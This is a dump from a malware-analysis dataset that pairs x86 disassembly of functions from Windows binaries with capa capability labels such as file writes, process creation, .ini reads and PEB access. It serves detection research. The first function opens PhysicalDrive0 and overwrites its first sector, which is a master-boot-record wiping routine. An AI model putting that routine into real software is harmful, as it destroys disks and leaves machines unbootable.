joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401608
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x407240
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
leave
ret
Function at 0x404530
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], str.Mingw_w64_runtime_failure:_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
jmp fcn.00404590

Function at 0x404590
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x408060]
test esi, esi
jle 0x40467d
mov edi, dword [0x408064]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x4045c4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x404676
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x4045b0
mov dword [esp], eax
mov ebx, eax
call fcn.00404ed0
test eax, eax
mov edi, eax
je 0x4046ba
lea ebx, [esi + esi*2]
mov esi, dword [0x408064]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call fcn.00404fd0
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x408064]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40469a
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40466f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40466f
mov eax, dword [esp + 0x20]
add ebx, dword [0x408064]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x404684
add dword [0x408060], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor esi, esi
jmp 0x4045ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00404530
mov eax, dword [0x408064]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00404530
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00404530
lea esi, [esi]
Function at 0x404b80
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x408408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x408400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x404bd5
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x404bce
test esi, esi
je 0x404bce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x404bb0
mov dword [esp], 0x408408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x404df0
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x404e28
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x404e1e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x404e2a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x404e10
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4038b8
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x4038e1
cmp al, 0x22
je 0x4038d9
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x4038cd
cmp byte [esi], 0x22
jne 0x4038eb
inc esi
jmp 0x4038eb
cmp al, 0x20
jle 0x4038eb
inc esi
cmp byte [esi], 0x20
jg 0x4038e5
mov al, byte [esi]
test al, al
je 0x4038f5
cmp al, 0x20
jle 0x4038de
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403963
push 0x405004
push section..data
call fcn.00403949
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x403925
movzx eax, word [ebp - 0x14]
jmp 0x403928
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.0040397b
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d
Function at 0x401adc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0xa4], 0
jne 0x401af8
xor eax, eax
jmp 0x401bfd
mov ecx, dword [ebp - 0x14]
add ecx, 0x12c
call fcn.00403b10
test eax, eax
jne 0x401b11
xor eax, eax
jmp 0x401bfd
cmp dword [ebp + 0x14], 0
jne 0x401b34
mov ecx, dword [ebp - 0x14]
fld qword [ecx + 0x108]
fcomp qword [ebp + 0xc]
fnstsw ax
test ah, 0x40
je 0x401b34
mov eax, 1
jmp 0x401bfd
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 0xc]
mov dword [edx + 0x108], eax
mov ecx, dword [ebp + 0x10]
mov dword [edx + 0x10c], ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x88
call fcn.00403580
mov edx, dword [eax]
mov dword [ebp - 4], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
cmp ecx, dword [ebp - 8]
jbe 0x401b9f
mov word [ebp - 0x10], 0
jmp 0x401b83
mov dx, word [ebp - 0x10]
add dx, 1
mov word [ebp - 0x10], dx
movsx eax, word [ebp - 0x10]
cmp eax, 0x14
jge 0x401b9f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movsx ecx, word [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx*4 + 0x38], eax
jmp 0x401b77
cmp dword [ebp + 0x14], 0
jne 0x401bb9
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
sub ecx, dword [eax]
cmp ecx, 0x3e8
jae 0x401bb9
xor eax, eax
jmp 0x401bfd
mov ecx, dword [ebp - 0x14]
add ecx, 0x88
call sub.MFC42.DLL_CPtrList::RemoveHead
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov dword [edx], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 0x14]
add ecx, 0x88
call sub.MFC42.DLL_CPtrList::AddTail
mov ecx, dword [ebp - 0x14]
call fcn.00402d36
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x14]
call fcn.00401889
mov eax, 1
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4290a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5967f5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00403760
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.0058e262
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x5ae998
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x18], 0
mov dword [edx + 0x1c], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0xc], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x20], 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x24]
mov dword [ecx + 0x24], eax
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x28], 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x2c]
mov dword [edx + 0x2c], ecx
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x44], 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00429180
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x437020
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp + 8]
jae 0x4370b8
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x4370ab
cmp dword [ebp - 0x1c], 0x12
jne 0x437063
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x4370b8
cmp dword [ebp - 0x1c], 0x112
jne 0x437095
mov ecx, dword [ebp - 0x18]
and ecx, 0xfff0
cmp ecx, 0xf060
jne 0x437095
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x4370b8
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x4370b3
push 2
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x43702f
mov esp, ebp
pop ebp
ret
Function at 0x438c52
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5972df
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 4], 0
push 0
push 0x5e5e3c
call fcn.0043cef0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x438d63
lea ecx, [ebp - 0x68]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
push 0x44
push 0
lea eax, [ebp - 0x64]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 1
mov word [ebp - 0x34], 5
push str.C:FidiaisographIsograph.exe
lea ecx, [ebp - 0x68]
call fcn.0058e0f4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x64]
push edx
push str.C:Fidiaisograph
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x68]
call fcn.00403d90
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x438d00
call fcn.0043cb6f
jmp 0x438d3c
mov dword [ebp - 0x6c], 0
jmp 0x438d12
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xc
jge 0x438d3c
cmp dword [ebp - 0x10], 0
jne 0x438d3c
push 0
push 0x5e5e80
call fcn.0043cef0
mov dword [ebp - 0x10], eax
push 0x80
call fcn.00437020
add esp, 4
jmp 0x438d09
cmp dword [ebp - 0x10], 0
jne 0x438d57
push 0
push str.999_Unable_to_start_isograph
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x218]
call fcn.00487e4c
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.0058df86
cmp dword [ebp - 0x10], 0
je 0x438dd2
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x78], edx
lea ecx, [ebp + 8]
call fcn.00403d90
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
mov dword [ebp - 0x74], eax
lea ecx, [ebp + 8]
call fcn.00403d90
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x78]
push eax
call fcn.0040fa80
mov ecx, eax
call fcn.004120d0
push eax
push 0x4a
mov ecx, dword [ebp - 0x10]
call fcn.0041c9d0
test eax, eax
jne 0x438dc5
push 0
push str.999_Unable_to_send_command_to_isograph
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x218]
call fcn.00487e4c
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0058df86
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
Function at 0x450ba3
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59829d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
mov dword [ebp - 0x128], ecx
lea ecx, [ebp - 0x114]
call sub.MFC42.DLL_CString::CString
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
push 0x5e748c
push 0
push 0x5e74ac
push 0x5e74b8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], 0
jmp 0x450c1d
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x11c]
jge 0x450cda
mov edx, dword [ebp - 0x118]
push edx
push 0x5e74c4
push 0x5e74d0
lea eax, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x10
push 0x5e74d8
push 0x100
lea ecx, [ebp - 0x110]
push ecx
push 0x5ff918
push 0x5e74f8
lea ecx, [ebp - 0x10]
call fcn.00403d90
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jbe 0x450cd5
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x120]
call sub.MFC42.DLL_CString::CString_1
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x130], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x130]
push edx
mov ecx, dword [ebp - 0x128]
add ecx, 4
call sub.MFC42.DLL_CStringList::AddTail
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x120]
call fcn.0058df86
jmp 0x450c0e
xor eax, eax
cmp dword [ebp - 0x11c], 0
setne al
mov byte [ebp - 0x124], al
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0058df86
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.0058df86
mov al, byte [ebp - 0x124]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x452479
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598461
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x88
push edi
mov dword [ebp - 0x94], ecx
mov eax, dword [ebp + 8]
push eax
push 0x87
mov ecx, dword [ebp - 0x94]
call sub.MFC42.DLL_CDialog::CDialog
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x94]
add ecx, 0x64
call fcn.0042d0d0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x94]
add ecx, 0xa4
call fcn.00453be0
mov ecx, dword [ebp - 0x94]
add ecx, 0xa8
call fcn.004523a0
mov byte [ebp - 4], 2
push 0x5ff948
mov ecx, dword [ebp - 0x94]
add ecx, 0xbc
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 3
push 0x5ff94c
mov ecx, dword [ebp - 0x94]
add ecx, 0xc0
call sub.MFC42.DLL_CString::CString_1
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x94]
mov dword [ecx], 0x5b2304
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp + 8]
mov dword [edx + 0x60], eax
mov ecx, dword [ebp + 8]
push ecx
push 0x87
mov ecx, dword [ebp - 0x94]
call fcn.00412200
mov dl, byte [0x5ff950]
mov byte [ebp - 0x8c], dl
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x5e76b4
push 0x80
lea eax, [ebp - 0x8c]
push eax
push 0x5ff954
push str.FileProgressParameter
call fcn.0040acc0
mov ecx, eax
add ecx, 0x108
call fcn.00403d90
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x8c]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
je 0x452613
push 0x20
lea edx, [ebp - 0x8c]
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
je 0x4525fb
mov eax, dword [ebp - 0x90]
mov byte [eax], 0
mov ecx, dword [ebp - 0x90]
add ecx, 1
push ecx
mov ecx, dword [ebp - 0x94]
add ecx, 0xc0
call fcn.0058e0f4
lea edx, [ebp - 0x8c]
push edx
mov ecx, dword [ebp - 0x94]
add ecx, 0xbc
call fcn.0058e0f4
mov eax, dword [ebp - 0x94]
mov byte [eax + 0xc4], 1
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x456b98
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598ba7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x160]
call sub.MFC42.DLL_CFile::CFile_1
mov dword [ebp - 4], 0
push str.C:DAT
lea eax, [ebp - 0x150]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
lea ecx, [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfd
push eax
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0x9001
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x160]
call sub.MFC42.DLL_CFile::Open
test eax, eax
jne 0x456c4f
push 0
push 0
push 1
push 0
push str.FIDIA_WS_FAILWRITEPASSWORD
call dword [sym.imp.LANGUAGE.dll_char_const____cdecl_ReadLanguageString_char_const___char_const___int_]
add esp, 0xc
push eax
call sub.MFC42.DLL_AfxMessageBox
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.0058e12a
jmp 0x456cd8
push 0
push 0x1000
push 0
lea ecx, [ebp - 0x160]
push ecx
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CArchive::CArchive
mov byte [ebp - 4], 1
lea edx, [ebp - 0x50]
push edx
mov ecx, dword [ebp - 0x164]
add ecx, 0x120
mov eax, dword [ebp - 0x164]
mov edx, dword [eax + 0x120]
call dword [edx + 8]
lea ecx, [ebp - 0x50]
call sub.MFC42.DLL_CArchive::Close
lea ecx, [ebp - 0x160]
call sub.MFC42.DLL_CFile::Close
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or al, 2
push eax
lea ecx, [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x50]
call fcn.0058e81a
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.0058e12a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x457efd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598c5d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
mov dword [ebp - 0x7c], ecx
lea ecx, [ebp - 0x18]
call fcn.0042ca80
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x7c]
add ecx, 0x294
call fcn.0040bfa0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x1c]
jl 0x457f57
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0042caa0
jmp 0x45808e
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x7c]
add ecx, 0x294
call fcn.0040bff0
mov edx, dword [eax]
mov dword [ebp - 0x14], edx
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.00403d90
push eax
call fcn.0043cef0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x457f9f
mov eax, dword [ebp - 0x10]
push eax
call fcn.0040acc0
mov ecx, eax
call fcn.004942ba
jmp 0x45807f
push 0x44
push 0
lea ecx, [ebp - 0x70]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x70], 0x44
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x7c]
add ecx, 0xf4
call fcn.00403d90
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0xc
call fcn.00403d90
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x457ffd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x74], eax
jmp 0x45807f
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
push ecx
push 0x5ff990
call fcn.004540a0
and eax, 0xff
test eax, eax
je 0x45807f
mov dword [ebp - 0x78], 0x10
jmp 0x458029
mov edx, dword [ebp - 0x78]
sub edx, 1
mov dword [ebp - 0x78], edx
cmp dword [ebp - 0x78], 0
je 0x45807f
push 0x10
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_WaitForInputIdle]
cmp eax, 0x102
je 0x458070
push 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x10
call fcn.00403d90
push eax
call fcn.0043cef0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x45806e
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0040acc0
mov ecx, eax
call fcn.004942ba
jmp 0x45807f
push 0x100
call fcn.00437020
add esp, 4
jmp 0x458020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.0042caa0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4612d0
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5996cd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov ax, word [edx + 4]
mov word [ecx + 4], ax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov dword [ecx + 8], eax
mov ecx, dword [ebp + 8]
add ecx, 0xc
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 1
mov edx, dword [ebp + 8]
add edx, 0x10
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x10
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 2
mov eax, dword [ebp + 8]
add eax, 0x14
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 3
mov ecx, dword [ebp + 8]
add ecx, 0x18
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 4
mov edx, dword [ebp + 8]
add edx, 0x1c
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 5
mov eax, dword [ebp + 8]
add eax, 0x20
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 6
mov ecx, dword [ebp + 8]
add ecx, 0x24
push ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 7
mov edx, dword [ebp + 8]
add edx, 0x28
push edx
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x2c]
mov dword [eax + 0x2c], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x30], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x34]
mov dword [eax + 0x34], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x4653a2
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x599cb3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00403760
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 4
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call sub.MFC42.DLL_CString::CString
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x10]
mov dword [eax], method.CObject.virtual_0
push 0x5ffa34
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.0058e0f4
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 8], 0
push 0x5e93e8
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call fcn.0058e0f4
push 0x5e93f0
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.0058e0f4
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x10], 4
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x14], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x18], 0
push str.00000000
